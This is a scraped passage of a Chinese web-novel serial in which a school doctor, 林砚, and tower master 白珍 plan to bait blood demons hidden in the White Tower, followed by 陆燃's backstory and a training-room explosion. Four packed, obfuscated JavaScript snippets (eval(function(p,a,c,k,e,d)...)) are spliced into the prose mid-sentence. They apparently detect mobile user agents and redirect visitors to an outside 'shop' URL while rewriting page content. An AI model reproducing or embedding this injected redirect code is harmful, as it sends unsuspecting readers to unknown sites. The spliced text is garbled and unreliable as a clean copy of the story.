这样的画面重复出现在后续几张草稿中:白晓在礼堂角落看向教师席,视线穿透人群落在某个虚影上;她独自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16915427|191871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走在走廊,身边有他的陪伴;甚至在卧室里,也有那个人侧靠在窗边的模糊身影。 接下来的草稿更加破碎,跳动着不同的场景片段。 白晓看到的那个“林砚”,也在治疗赵铁心。 旁白描述:‘祸血凭依’对持有者本人是真实的灾祸。它能从死神手里抢人,但也需要代价。被施术者承受的痛苦,会以近乎真实的程度反馈给施术者。治疗赵铁心时,那份深入骨髓的血蚀灼痛、脏器衰竭的冰冷、精神堕化的疯狂低语……同样如潮水般冲击着“林砚”的神经。 这难以忍受的苦难,让历史上每一位拥有‘祸血凭依’的林家人都变得吝啬而谨慎。弱小的使用者甚至可能被病人的伤势反噬,同受重创。 即使那个“林砚”本身也是A+级的强者,但痛苦是无法豁免的。 可他总是在用。 画面快速切换,代表“林砚”的身影出现在不同的画面里。 他救陆燃,救铁心,甚至救白晓……在白晓记忆里,“林砚”使用‘祸血凭依’的次数,多到让旁观者都感到窒息。 这得是多少次生死攸关的绝境,才逼得他不得不一次次动用这份带来痛苦的能力? 那个没有系统的“林砚”,身处的剧情线要比他现在所在的要紧迫得多。 那个“林砚”也是一样的性格冷淡,难以接近。 但不同的是,那个“林砚”的冷淡,源自出身古老家族的天然淡漠,以及常年被外界追捧、祈求而产生的疏离。他的冷漠是他的保护壳,长期居于家族领地,对外界涉世未深,他不懂如何应对复杂情感与期待。 白晓看懂了他的孤独:我懂这种情绪……我们很像。于是,她自然地向他靠近。 那个“林砚”没有拒绝她的靠近。 但也没有理解她的感情。 不过,还是不可避免地对她多了些关注。至少,在她出现时,不会立刻让她离开。 然后,草稿画风陡然一变。 线条变得凌厉、混乱,充满了表示冲击的排线。似乎是在白塔内,代表血魔的角色小人正在围攻林砚。战斗画面极其潦草,只能看出“林砚”在反击,但动作滞涩。旁白标注:这是血魔针对‘祸血凭依’的灭杀式袭击! 一个血魔突然扑向“林砚”的背后! 原本在稍远处的白晓猛地冲了过来,挡在了中间。 经典剧情,但经典永不过时。 过命的恩情,让两人之间最后的距离感也被击碎。信任、依赖、愧疚、心疼……复杂的情感发酵,他们的关系急剧升温。只剩下最后一层薄如蝉翼的窗户纸,悬在那里,等着他们之中任何一人轻轻点破。 然后,钟声敲响了。 时间线就此收束、汇集。 草稿到此戛然而止,后面全是空白。 林砚沉默地消化着看到的一切。 谢了,系统。 【临时链接关闭。】 时间停滞的感觉如潮水般退去。 色彩和声音重新涌入感知。 林砚依旧坐在办公桌后,姿势都没变。沙发上的白晓刚刚眨了眨眼,仿佛只是发呆了微不足道的一瞬间。 问题很大啊。 林砚暗中咋舌。 ——居然还有血魔能冲进白塔里面袭击我? 14. 联合撒饵 回来后,林砚找白晓问了她的预言内容,然后用耳环联系了塔主。 尽管心里已经有了答案,但保险起见,还是和白晓对了一下。 在这之后,林砚把白晓送回了宿舍。女孩其实完全没有回去的想法,但林砚不想把她放在没人的医务室里。 况且他现在确实也有正事要做。 登塔的路畅通无阻。 通向顶层的电梯需要特殊权限,在林砚靠近时自动解锁开门,像是恭候着他的到来。 白珍办公室的门虚掩着。 林砚推门走进。 林砚推门而入,反手将门带上。办公室里还残留着很淡的烟味,混合着木料味道,很淡,但能被嗅觉捕捉到。地毯和茶几上都非常干净,看不到烟灰的痕迹。 林砚目光扫过室内,自然地在沙发上坐下。面前的茶几上放着一份摊开的文件,文件摆放的位置和角度,显然是特意留给他看的。文件旁边是一壶茶,还有一小碟晶莹的方糖。 茶水是热的,壶口飘着丝丝白汽。 林砚没客气,伸手拿起茶壶,给自己斟了一杯。茶汤热气氤氲色泽红亮,是红茶。他端起来喝了一口,温度刚好,茶味醇厚,带着恰到好处的苦涩。 很正的红茶。他决定不放糖。 白珍拄起拐杖,走到他对面坐下。 “林小子,”她开口,“你看起来也是个无事不登三宝殿的主。这么快就来找我,想来是发现什么了?” 林砚放下茶杯,抬眼,看向白珍。 他没绕弯子: “白塔里有血魔。” 办公室瞬间安静。 系统倒是被他惊动: 【?】 【提醒:您当前并未掌握指向‘白塔内存在血魔’的实证性信息。白晓的预言碎片与作者草稿内容,均属于非客观、非当下的信息源,且您未与白珍共享此情报来源。在此情况下直接提出此论断,若无法提供令其信服的依据,存在导致白珍对您信任度下降的风险。建议谨慎。】 莫慌。 林砚在意识里回应系统,面上不动声色,又端起茶杯喝了一口。 白珍静静地看着林砚,眼中是近乎悲哀的了然。 她没有反驳,也没有追问证据。 伸出手,食指轻轻点了点茶几上那份摊开的文件,将它朝林砚的方向推了推。 “看看吧。” 她说。 林砚拿起文件。 文件首页贴着一张工作照。照片上的人戴着金丝边眼镜,笑容温和得体,衣着整洁,一副斯文可靠的知识分子模样。 是王敬。 林砚早上刚在礼堂见过的。 档案内容很详细,从王敬作为优秀毕业生留校任教开始,到一步步升任教务负责人,期间负责的课程、管理处罚过的学生、经手的物资、与外界的通讯记录……事无巨细,旁边还有不少用红笔做的批注和记号。 林砚看完,将文件放回茶几上,抬头看向白珍。 他重新端起茶杯,喝了一口。红茶的暖意顺着喉咙滑下。 不需要再说什么了。 白珍的目光一直落在他身上,看着他拿起文件,看着他平静的阅读,看着他放下文件继续喝茶。 “没错。”白珍承认了林砚的判断。 但她看起来很难过。 “他来白塔十多年了。”白珍的声音里有难以掩饰的痛心,“老身,看着他毕业,看着他留校,看着他一步步走到这个位置……他曾经,也是白塔引以为傲的优秀毕业生。” 她顿了顿,手指摩挲着拐杖。 “我怀疑过他,也怀疑过其他人。但真正把线索串起来,把目标锁定,还是最近的事。” 林砚在意识中对系统说:看到了吗?白珍既然敢直接下达封塔令,必然是已经锁定了怀疑目标,至少有了明确的范围。她把耳环给我,给我全塔的通行权限,正是为了方便我在必要时协助她进行调查。现在我从白晓的预言里得到了指向未来的关键信息,自然要来跟她交换已知情报,共同缩小排查范围。 【基于现有交互数据分析,您的推断具有较高合理性。但系统必须再次提醒:您的行动模式建立在她愿意共享情报并合作的假设上,此假设未被百分百证实。人类决策者,尤其是个体经验丰富、长期处于高位者,其思维存在大量不确定性,系统推演模型仅供参考。】 但人类的思维本就是无法完全通过数据推演来揣摩的。 林砚心想。 有些判断,需要直觉,需要对人性微妙处的把握,也需要一点敢于下注的胆量。信任与合作,本身就需要承担一定风险。 “血魔不止一个。白晓在接触到赵铁心后,出现了大量的新预言内容。新的预言显示,三个月后,白塔会遭遇血魔袭击。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918993|191871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “她去找你了?” 这关注点…… 林砚微妙地顿了一下。 林砚看向白珍,发现她脸上非但没有紧张,反而笑得有些慈祥。 “噢,噢,”白珍拍拍膝盖,像是在笑林砚的后知后觉,“虽然我一直没跟外面正式说过,但你看她姓白,就该猜到了不是么?” 林砚瞬间想到了论坛里争论不休的一大谜团:白晓和塔主白珍的关系。 同样的姓氏,同样是S级,白珍对主角团超乎寻常的关注和保护……读者们各种猜测都有,亲孙女、私生女、隔代传承等等。 “白晓是你的孙女?”他顺着最普遍的猜测问。 白珍摆手:“老身这辈子没找伴侣,也没孩子。议会那帮老东西,怎么会允许塔主拥有直系血脉来继承这个位置?她是老身的侄女。” 谜团解开了。 虽然不是直系血缘,虽然不是读者们猜测的亲孙女,但确实有着血缘关系。 八卦点到即止。 林砚将话题拉回正轨: “她在预言里看到了很多和我有关的内容。那些内容让她对我产生了极大的信任,所以才会直接来找我。”林砚略过了情感相关的细节,“而在她看到的关于袭击的预言里,三个月后的袭击,是特意针对我的。” “针对你?”白珍表情瞬间严肃,所有刚才那点关于家事的温和神色消失殆尽,取而代之的是身为塔主的威严,“三个月后?有更具体的时间点吗?来了多少人?从什么地方进来的?” 林砚摇头:“没有。她的预言很零碎,她自己都理不清准确的时间顺序,只是知道有这么件事会发生。” 白珍若有所思:“看来她真的很信任你啊,林小子。这丫头自从能力觉醒后,性子就越来越闷,很多时候连我问她看到了什么,她都只是摇头,或者把自己缩起来。” 林砚没接这话茬,又给自己倒了些茶。 这红茶品质可真不错。 “没关系,”林砚语气平静,“时间不是重点。” 他细品茶汤,让那股微苦的醇香在口腔里弥漫,再慢慢咽下。 “既然已经知道他们的目标是我——” 白珍迎上他的目光,阅尽世事的眼睛里,缓缓浮起一丝了然的笑意。 她接上了林砚的话: “——那就由我们来决定,他们该在什么时间、什么地点出现。” 15. 强者总是独行 作为陆家这一代唯一的嫡子,刚出生就觉醒源血的天生强者,陆燃从来没缺过什么。 钱? 陆家传承数百年,积累的财富和资源足以让任何家族眼红。他从小吃的、穿的、用的,无一不是顶尖。 伙伴? 从他出生那天起,身边就从来不缺追随者。阿谀奉承的人能白塔校外一直排到白塔顶楼。哪怕他脾气再怎么暴躁,那些人也会说他真性情。 名望? 沸血界救世主的含金量还用说吗? 一切都唾手可得,因此也变得无足轻重。 家族的光环、自身的天赋,与生俱来的金箔将他与世界隔开。童年时期的小陆燃甚至一度认为,世界是围着他转的。他想要什么,就能得到什么。他讨厌什么,那东西就再也不会出现在他眼前。 直到进入白塔。 直到遇见赵铁心、苏清寒,还有后来加入的白晓。 具体是怎么成为伙伴的,于陆燃而言,记忆已经有些模糊了。 苏清寒……她是班主任最早安排给他的搭档,一个不爱动脑子的人需要一个擅长用脑的搭档。而她的所作所为也成功证明了班主任说的有道理,有她在的时候,一切都很舒心,陆燃从来不需要操心任何战斗之外的事情。相信苏清寒就好了,她会安排好一切的。 刚认识赵铁心时还有些瞧不起他,觉得他是个看起来像女孩的软柿子。只记得后面实战训练被他狠狠揍了一拳,边打还边说着“家族子弟了不起啊老子最讨厌你们这些**家族弟子了!”虽然陆燃马上把这一拳还了回去,还跟他互殴得双双抬进医务室,但友情就在这场架里诞生了。 而白晓,她可是稀少的S级欸?而且还是当世唯一的预言能力者。身为未来最强者的我,身边的队友就该是最好的,有什么问题吗?难不成还有别人配? 总之,过程不重要,重要的是结果。 他们不在意陆燃的家庭背景,也不会对他阿谀奉承。 于陆燃来说,这也是全新的体验,他很喜欢。 他们成了固定搭档,一当就是四年。 陆燃依旧骄傲,依旧脾气火爆,说话直得伤人,但至少,愿意听人说话了。 他会按捺脾气,听苏清寒的安排做一些在他看来完全没必要的事;愿意不甩脸色,听赵铁心唠叨团队配合的重要性;愿意在白晓因为预言内容而面露惊慌时,安抚她别怕有我在没什么大不了的,我可是陆燃。 这样的日子,在陆燃看来,会一直持续下去。 他有这个资本,也有这份理所当然的自信。 血魔算什么?迟早有一天,他会变得比所有人都强,强到能把白珍那个老太太从当世最强的位置上顶下去——年纪大了就该好好退休享福,把世界交给他们这些年轻人。 他喜欢自己的伙伴们。 他愿意保护他们,永远。 他甚至连苏清寒都愿意一起保护。虽然她总说些不讨喜的话,搞些让人看不懂的研究,但陆燃知道,她做的一切,归根结底也是为了他们这个团队,为了找到能让沸血者摆脱血蚀阴影的方法。 毕业,进入执行院,成为最强的沸血者,带领小队消灭所有血魔,终结炽血君王复苏的可能,把白塔乃至整个沸血世界带向光明未来。 顺理成章,理所当然。 直到那次任务。 那本来是个再普通不过的收尾任务。 任务简报看起来毫无问题:清源镇外西北方向三公里处,一个中小型血魔据点已被执行院的前辈们清剿完毕,需要进行战场清扫及清除可能残留的低威胁目标。距离白塔一天半路程,只限三年级以上学生接取,标准的低难度低危险训练任务。 以他们小队的实力,这任务不比喝水难多少,陆燃敢说自己一个人都能做。 所以苏清寒才敢提出,趁这个机会,私下测试她研究的源血抑制器。 这是她进入白塔上学前就在研究的东西,佩戴在手腕或脖颈上,能在一定程度上压制源血的活性。苏清寒认为,如果能精确控制源血的燃烧程度,将输出功率稳定在一定阈值,就能在保证必要战斗力的同时,延缓甚至避免血蚀的产生。 血蚀是悬在所有沸血者头顶的达摩克利斯之剑。任何能缓解血蚀问题的研究,都值得尝试。 哪怕这个实验并未得到老师的批准。 陆燃同意了。 就算戴上那玩意儿,他的实力也足以碾压大部分六年级的准毕业生。带上就带上,权当负重训练。 赵铁心同意的理由很简单:我相信苏清寒。 接取任务,小队出发,白晓因为本身没有战斗力,在塔里等他们凯旋,一切如常。 最多三天,他们就能轻松完成任务,返回白塔。 本该如此。 可谁知道,这根本不是收尾任务。 等他们按照任务坐标赶到已清剿据点,迎面撞上的,是三名处于全盛状态、为了逃命不顾一切的血魔。 情报是错的。 不,是被人篡改的。 执行院带队队长发回白塔的求援通知原文是:有三名血魔仍在逃窜,我方正在全力追捕,急需派遣额外人手在预测逃亡路径协助拦截。附:预测路径及坐标。 而出现在白塔内部任务榜单上,被陆燃小队接取的版本却是:清源镇外西北方向三公里处血魔据点已清剿完毕,待收尾。距离白塔约一天半路程,仅限三年级以上可接取。附:详细坐标。 负责接收传递消息的通讯员,在事后调查时,被发现早已死在自己家中,尸体都已经腐烂。 血魔顶替了他,篡改并投放了这则任务。 但那个血魔是什么时候替换的?潜伏了多久? 没人知道。 陆燃只知道,他们带着抑制器,抱着轻松的心态,一头撞进了陷阱。 战斗在瞬间爆发。 自信迎击的陆燃小队,很快发现了不对劲——对方完全不是强弩之末该有的样子! 狮子搏兔,亦用全力。而他们面对的,是为了活命不惜一切的困兽。 抑制器限制了陆燃的力量输出,但取下抑制器会带来短暂的虚弱,这更加危险。赵铁心顶在最前面,试图为他创造机会。苏清寒在侧翼游走,试图找机会跑出去呼唤救援。 局面在僵持中滑向危险。 当一个血魔以重伤为代价,突破赵铁心的阻拦,利爪撕向苏清寒后背时,陆燃脑子里的某根弦,“啪”地一声断了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928102|191871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 去他妈的抑制器! 狂暴的源血瞬间冲爆了抑制器,暗红色的纹路如同活物般爬上他的皮肤,炽热的气浪以他为中心炸开,身上大大小小的伤口以肉眼可见的速度愈合。力量回来了,甚至比平时更加暴烈、更加不受控制。 他一拳轰碎了那个偷袭者的半边身体。 但另外两个血魔,抓住了机会。 他们发现这是陆燃!传说中的救世主! 拼着自己身死,也一定要杀了陆燃! 赵铁心看到了。 “赵铁心——!!!” 迟了。 交织的血光中,赵铁心倒下,鲜血侵染大地。 世界在陆燃眼前变成了黑白。 他记不清自己当时做了什么,只感到无穷无尽的愤怒和想要毁灭一切的欲望。血液沸腾、燃烧,视线里也开始出现暗红色的纹路,那是血蚀加速侵蚀的征兆。 但陆燃不在乎。 等白珍看到哭着跑来、语无伦次的白晓,察觉到预言示警,亲自赶来时,已经太迟了。 苏清寒浑身染血,在半路与白珍撞上,手里还死死抓着一只血魔的手,腿上贯穿伤血肉模糊得流了一路血,人也已经意识模糊。 陆燃头一回真实感受到,塔主作为最强沸血者那令人窒息的威压。 老太太轰然砸入战场,拐杖点地,风暴汇聚镇压了一切。仅存的血魔被无形的风压强行禁锢,动弹不得。 她只留了这一个活口。 陆燃坚持要参与审讯。 他的眼睛还是红的,身上包着绷带,但眼神固执得吓人。白珍看了他很久,最终挥了挥手,默许了。 血魔即使重伤,被锁在铁栏上,脸上仍带着扭曲的狂热。 他起初什么都不肯说。 直到陆燃站在他面前。 血魔咧开嘴笑了: “我们本来只是想逃命。”他喘着气,目光落在陆燃脸上,像是在确认什么,随后爆发出快意的笑声,“哈……没想到,真没想到……撞上的居然是你……陆燃……” 他眼神怨毒,又掺杂着疯狂。 “哪怕我们全死了,只要杀了你,或者,杀了你的朋友们,也值了!” 陆燃终于忍不住扑了上去。 血魔用尽最后的力气嘶吼道: “为了炽血君王——!!!” 审讯结束。 白珍没来得及阻止他,亦或者是不想阻止。 后面的事情,陆燃记得不太清了。 只知道除了自己之外的所有同伴都变得很惨、很惨。 从那一天起,陆燃就变了。 有些念头一旦生根,便会疯狂滋长,挥之不去。 血魔的话语反复钉进他的脑海。 陆燃思考着,顿悟了。 因为我不想让你们受伤,所以我不能和你们靠的太近。 因为我没法同时保护你们所有人,所以我只能独行。 因为我足够强,所以我一个人也可以。 … 我不需要同伴了。 远离我。 排斥我。 讨厌我也没关系。 所以能让他们都好好活下去吗? 16. 热血笨蛋 陆燃本来也觉得,自己就要这么享受强者的孤独直到老死了。 一个人训练,一个人吃饭,一个人做任务。把所有人都推得远远的。 就这样吧。 强者总是独行,这是唯一能保护所有人的方法。 他甚至觉得也没什么不好。 不必分心,不必担忧,就这么一路变强,强到足以扫清一切威胁,然后……然后或许孤独终老也挺酷的。 悲情英雄的剧本,听起来不赖。 直到林砚出现。 陆燃没告诉过林砚,他其实早就认识他。 在他还没入学的时候,父亲把他叫到书房。父亲很少用严肃的语气跟他说话,哪怕他小时候拆了祠堂的匾额,父亲也只是没喊他去吃晚饭。 在陆燃看来也不是什么大事,就是给他看了张一家三代人的合影照片。 白发的老人,儒雅的中年男人,年轻的俊美青年。他们都穿着样式古老的服饰,最年轻的那位站在二者中间,脸正对镜头,眉眼精致得不像真人。 陆燃当时正处在天不怕地不怕、觉得全世界都该绕着自己转的中二期,所以不耐烦。 “干嘛啊老头?” 父亲指着那张年轻的脸,语气是陆燃很少听到的郑重: “我的小祖宗,这世界上几乎所有人你都不必放在眼里,我们陆家担得起你的脾气。但这几个,你得记住。” 陆燃挑起眉,看着照片上那个眼神冷淡的少年,心里莫名有点不爽。 长得好看就能这么拽? “他们是林家的人,他们一族单传独门的能力‘祸血凭依’。” “祸血凭依?”陆燃记得自己当时重复了一遍这个听起来有点邪气的名字。 “天底下最顶尖的治疗能力,能从阎王爷手里抢人。他们家族人丁稀少,几乎不出世,但你得记住他们的脸。为什么?因为关键时刻,能救命。” 父亲后面还说了些什么,但年少的陆燃听得心不在焉。 实话说,林家祖孙三代的照片,陆燃只记住了林砚的脸。 ……不然呢? 就他长得最好看啊。 十来岁的少年,已经有了对“美”的模糊认知。 照片上金发少年面容冷淡,像一尊精心雕琢却毫无温度的玉像,印在了小陆燃的记忆里。当然,以他当时那无法无天、连亲爹的话都爱听不听的性子,只是记了一下而已,转头就抛到脑后了。 就像收藏夹里一张标注着“关键时刻救命用”的稀有卡片,知道很重要,平时也想不起来。 但他记住了最关键的:林家的祸血凭依是天底下最厉害的治疗能力,他们是世界上最好的医生,那个最好看的当代传人叫林砚。 所以,当他在医务处撞上那个金发青年,猝不及防对上那双琥珀色、平静无波的眼睛时,陆燃瞬间就认出了他。 林砚。 他比照片上还要好看。照片凝固的平面影像,根本无法承载真人那种近乎锋利的美丽,琥珀色的瞳孔看着他,里面什么情绪都没有,就像在看一件无关紧要的摆设。 陆燃曾以为,但凡有人敢用居高临下的睥睨眼神看他,他一定会火上眉梢,当场给那没礼貌的家伙一顿胖揍,让他知道谁才是该被仰望的那个。 等真的有人这么做了,陆燃意识到自己错了。 预想中的怒火没有涌上心头。但心脏却控制不住地狂跳,撞得胸腔发疼,耳膜嗡嗡作响,血液似乎都往脸上冲。 他感到窘迫,还有连自己都羞于承认的悸动。 怎么会让人生气呢? 哪怕是这样的眼神…… 也想要你多看看我。 这种话陆燃死也不会说出口。 巨大的慌乱和羞耻淹没了他,所以他跑了,像被烫到一样收回视线,落荒而逃。 后面发生的一切,更是完全超出了陆燃的预料。 在赵铁心重伤濒死、血蚀上脸之后,陆燃不是没想过动用家族力量。他确实给父亲发了消息,用近乎命令的口吻要求陆家动用一切资源,寻找能救赵铁心的医生。他提了林家,提了“祸血凭依”。 陆家的回复很快,给足了这位嫡子面子。 是父亲亲自联系的林家,得到的回复简短,也很冷漠:把人带过来。 带过去? 林家领地距离白塔路途遥远,以赵铁心当时的状态,根本不可能撑到抵达。何况,血蚀已至面部,基本等于判了死刑,时日无多。 那一刻,陆燃第一次感到绝望和无力。 家族的力量,救世主的名头,在生死面前,苍白得可笑。 但,白珍居然把林砚请出来了。 为什么? 凭什么? 他们陆家都做不到的事情,白珍为什么能? 就因为她是当世最强吗? 而更让陆燃心神剧震的是,赵铁心居然真的被他救回来了。血蚀印记倒退,那个曾经倒反天罡说“陆哥没事有我在”的赵铁心,真的被救回来了。 用强者孤独为借口糊起来的壳子,在看到赵铁心的那一刻碎得稀烂。 怎么可能真的想一直孤身一人啊! 陆燃讨厌孤独。很讨厌,很讨厌,很讨厌。 他筑起高墙,不是因为喜欢墙内的荒芜,而是害怕墙外的风雨会伤到他想保护的人。 林砚于陆燃而言,本来是照片里华美冰冷的雕像。但现在雕像活了过来,用那双能逆转生死的手,把他最重要的兄弟从地狱门口拉了回来…… 雕像变成了神。 不需要和任何人告知,陆燃自顾自将林砚划入了自己那份“愿意永远保护”的名单里。 成为最强的心,从未如此坚定过。 他要变得更强,强到足以扫清所有威胁,变强的渴望在胸腔里冲撞,强烈的情绪需要出口,沸腾的源血渴望释放。 这就是为什么,白塔训练室会在半夜里,突然发生爆炸。 夜已经很深了,林砚睡梦中被惊醒,心情很是不妙。 重物倒塌的声音在寂静的夜里格外清晰,他皱眉,掀开被子下床,走到窗边。 远处隐约有白烟飘溢,红色的警报灯在烟雾里无声闪烁。 出事了。 林砚迅速换上衣服。作为目前塔内唯一拥有全塔通行权限的校医,他觉得自己有必要去看看情况——万一有学生受伤呢? 训练室的门歪斜着,里面还在往外飘散着灰尘,刺鼻的焦糊味熏得人反胃。周防锋带着校卫队的人在检查现场,防止二次坍塌,同时拦着闻声想出来围观的学生让他们回宿舍。 教师们似乎还没赶到,或者被拦在了外围。只有林砚,凭借着耳环赋予的全塔通行权限,畅通无阻地走了进去。 白珍已经到了。 老太太拄着拐杖,站在训练室门口,脸色在应急灯的光线下显得有些发黑,面无表情地看着一片狼藉的训练室内部,嘴角微微抽动。 场中央,是造成这场事故的罪魁祸首。 陆燃。 赵铁心和苏清寒也赶到了,他们显然不在被阻拦的范围内。赵铁心站在白珍旁边不远处,抓耳挠腮,一脸焦急,看看陆燃又看看白珍,嘴唇动了几次,想给陆燃开脱又找不到词,急得很。 苏清寒显然是从实验室直接过来的,头发束在脑后,脸上戴着平时不常戴的防护眼镜。身边的赵铁心疯狂对她使眼色,眼睛里写满了“救命啊我编不出理由了快想办法!” 林砚走到白珍身侧,目光扫过还在冒烟的训练室墙壁碎片,再看向陆燃。 红发少年只穿了件黑色无袖背心,露出的手臂和小腿上有新出炉的擦伤和焦黑痕迹,但看起来并无大碍。他梗着脖子,强撑出理直气壮,大声辩解: “是这东西太脆弱了!在知道我有多强的情况下,你们就该把训练器材和训练室再进一步强化的!这怎么能怪我?!这明明就是设施跟不上的问题!” 林砚没忍住,嘴角向上弯了一下,又迅速压平。林砚揶揄地看向身边的白珍,老太太脸上有点挂不住,难得露出些许窘迫。 白珍看向陆燃。 这倒霉孩子…… 白珍闭眼,似乎在心里默数着什么,防止自己一拐杖抽过去。 林砚、白珍,连同已经看出端倪的苏清寒,都在瞬间猜到了爆炸的大概原因。 三人之间弥漫着带有尴尬气息的了然氛围。 那么训练室到底是怎么爆炸的呢? 几天前,赵铁心曾兴致勃勃地跟陆燃描述过被“祸血凭依”治疗时的感受。 “平时我们用能力,燃血嘛,整个人都跟烧起来似的,热血上头,又爽又容易失控。但林老师的能力进来的时候……嘶, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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看着眼前这阵仗,白珍还能说些什么呢? 瞪了一眼陆燃,老太太无奈地叹了口气,将求助的目光投向林砚。 “啪、啪。” 林砚轻轻拍了两下手,吸引了所有人的注意。 “时候也不早了,”他话说得轻描淡写,像是完全没把爆炸当回事,“让我们快点把事情解决,然后都回去休息。你们白天还要上课。” 他目光落在还被苏清寒按着、姿势别扭的陆燃身上。 “陆燃,爆炸是你引发的。虽然你还是学生,但也要为自己的行为承担后果。白塔会安排人手修复重建训练室,但维修产生的所有费用,由你个人,以及你的家族承担。有任何问题吗?” 钱?钱对陆家来说自然不是问题。 能用钱解决的事,在陆燃看来都不算事。 “没有!”他立刻回答,因为弯着腰,声音有点闷,“我等下就把钱转过来!” “不用急,”林砚语气平淡,“等后勤部门核算完具体损失,列出清单和金额后,会通知你。到时再转。” 看到他们还维持着弯腰道歉的姿势,补充了句:“你们站直了听。” 苏清寒立刻松手,直起身,脸上没什么表情,但耳廓的红晕还没完全褪去。陆燃有些微妙地往边上挪了半步,又悄悄挪回去。赵铁心也赶紧站好。 白珍全程没有插话,默许了林砚的所有安排。 林砚顿了顿,继续道:“这次事故,也暴露出白塔在教学方面存在一些缺失。在之后的教学安排中,会考虑弥补这部分内容。” 他没有说得太具体,毕竟他不是塔主,不能越俎代庖。 白珍几乎是秒懂了他的意思,立刻接口,流畅得像是两人提前对过词:“下学期开始,所有年级增设常识通识必修课。成绩不合格的,训练场权限降级。你们这些除了打架什么都不会的小混蛋,脑子里也该装点别的东西了。” 她挥了挥拐杖:“既然除了训练室没人受伤,这次就算了。都给我回去睡觉!明天早上第一节课,谁敢迟到,封禁训练室使用权一周!” 主角团如蒙大赦,在林砚和白珍的注视下飞速离开。 … 【主角团内部信任度双边指标上升。】 【您需要现在查看吗?】 17. 不让人省心的少年人 系统都特地跳出来提示了,林砚肯定是要看的。 但今天太晚了,他决定回去睡一觉,明天起来了再看。 次日,林砚一直睡到日上三竿。 系统,看看仪表盘。 【数据基于近期行为观测与生理指标估算生成,仅供参考。】 林砚从上到下扫过。 【陆燃】 生理状态:85%(活力过剩) 心理压力:50%(他现在心态也太好了点) 血蚀风险:10%(心理压力下去了,人就稳定了) 信任度双边指标: -对苏清寒:20%(其实也没那么讨厌) -对赵铁心:80%(兄弟……兄弟……) -对白晓:42%(你老老实实在塔里待着别乱跑就行) 心理压力从之前逼近失控的峰值骤降到50%,血蚀风险更是压到了10%——对于一个S级且情绪不稳定的沸血者来说,真是奇迹。 还有那个说他活力过剩的评价…… 林砚很难憋得住笑。 【苏清寒】 生理状态:79%(实验室作息) 心理压力:84%(锯嘴葫芦二号) 血蚀风险:22%(极强的自我控制能力) 信任度双边指标: -对陆燃:5%(这脑残孩子怎么养出来的) -对赵铁心:60%(是我的错) -对白晓:80%(不能再犯错) 锯嘴葫芦二号哈哈哈哈哈哈哈! 还有说陆燃是这脑残孩子哈哈哈哈哈哈哈! 系统可能在某些地方进化出了奇怪的幽默感。 【赵铁心】 生理状态:88%(恢复力惊人,活蹦乱跳) 心理压力:45%(我!活!了!) 血蚀风险:85%(还得再关照一下) 信任度双边指标: -对陆燃:85%(挚友) -对苏清寒:55%(抱歉,之前迁怒你了) -对白晓:60%(我知道你努力过) 看到赵铁心数据时,林砚笑容一顿。 生理状态88%,心理压力45%,看起来恢复得不错,甚至可以说好得出奇,完全符合他这几天在塔里活蹦乱跳的样子。 但血蚀风险那一栏,明晃晃地写着:85%。 比起刚治疗时那濒临崩溃的93%,虽然下降了些,但绝对算不上安全。 这小子……未免也太能憋了。 林砚揉眉。 这些天,他的精力主要放在了和白珍一起筹划钓鱼上。 排查内鬼、布设陷阱、调配人员、挑选时机……这些事占用了大量时间和脑力。 看赵铁心恢复得那么快,看起来还那么精神,天天给他发些鸡毛蒜皮的消息,林砚就下意识地以为他的血蚀状况也在同步好转,至少是稳定可控的。 现在看来,是他疏忽了。 数据不会骗人。 表面上的活跃,可能只是赵铁心性格使然,或者……是刻意在掩饰。 那小子像个网瘾少年一样,三天两头给林砚发消息,内容全是“陆燃今天又跟清寒吵架了”、“清寒又在实验室通宵了”、“小白突然想锻炼身体但是她连八百米都跑不动哇”之类的团队琐事,活像个居委会主任。 可对他自己,一句都没提过。 血蚀还在,他不难受吗? 没感觉吗? 还是觉得“已经好多了”所以不值一提? 林砚想起赵铁心之前干的事,明明已经恢复意识却还闭着眼装晕,头痛地拿起手机,点开和赵铁心的聊天界面。 上一次对话是昨天中午,最后一条消息是赵铁心发的:“林老师!陆燃那笨蛋居然真的跑去偷偷加练低温适应训练了,我是不是该告诉清寒?不过告诉他肯定会挨骂……算了还是先观望看看吧(流汗的表情)” 